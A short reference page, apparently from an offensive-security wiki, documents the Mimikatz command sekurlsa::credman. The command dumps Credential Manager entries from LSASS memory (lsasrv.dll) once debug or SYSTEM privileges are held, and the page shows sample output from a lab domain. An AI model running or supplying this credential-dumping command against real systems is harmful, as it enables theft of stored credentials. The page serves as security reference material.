credman
sekurlsa::credman lists Credentials Manager by targeting the Microsoft Local Security Authority Server DLL (lsasrv.dll).
This command requires elevated privileges (by previously running privilege::debug or by executing Mimikatz as the NT-AUTHORITY\SYSTEM account).
1
mimikatz # sekurlsa::credman
2
โ€‹
3
Authentication Id : 0 ; 697146 (00000000:000aa33a)
4
Session : Service from 0
5
User Name : MediaAdmin$
6
Domain : hacklab
7
Logon Server : DC
8
Logon Time : 10/17/2021 4:22:01 AM
9
SID : S-1-5-21-2725560159-1428537199-2260736313-1427
10
credman :
Copied!
Last modified 6mo ago
Copy link